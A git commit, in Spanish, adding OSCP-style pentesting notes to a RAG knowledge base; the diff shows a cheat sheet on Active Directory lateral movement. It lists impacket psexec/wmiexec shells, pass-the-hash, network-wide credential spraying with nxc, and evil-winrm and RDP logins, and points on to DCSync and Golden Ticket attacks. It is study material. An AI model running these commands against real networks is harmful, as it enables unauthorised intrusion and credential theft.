saber: pack de metodologia publico (conocimiento/) + doc del RAG

El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.

nucleo/saber/conocimiento/05 - Active Directory/Movimiento lateral.md

@@ -0,0 +1,23 @@
+# Movimiento lateral
+
+> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.
+
+## Con qué saltas
+```bash
+impacket-psexec  dominio/user:pass@10.10.10.20      # shell SYSTEM
+impacket-wmiexec dominio/user:pass@10.10.10.20      # sin tocar disco
+impacket-psexec  -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
+nxc smb 10.10.10.0/24 -u user -p pass               # ¿dónde valen estas creds?
+xfreerdp /u:user /p:pass /v:10.10.10.20             # RDP si hay GUI
+evil-winrm -i 10.10.10.20 -u user -p pass           # WinRM (5985)
+```
+
+## Regla clave
+**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).
+
+## Decidir a dónde
+- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
+- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
+- Red interna no enrutable → Pivoting ligolo-ng.
+
+Relacionado: Impacket · Mimikatz · OSCP MOC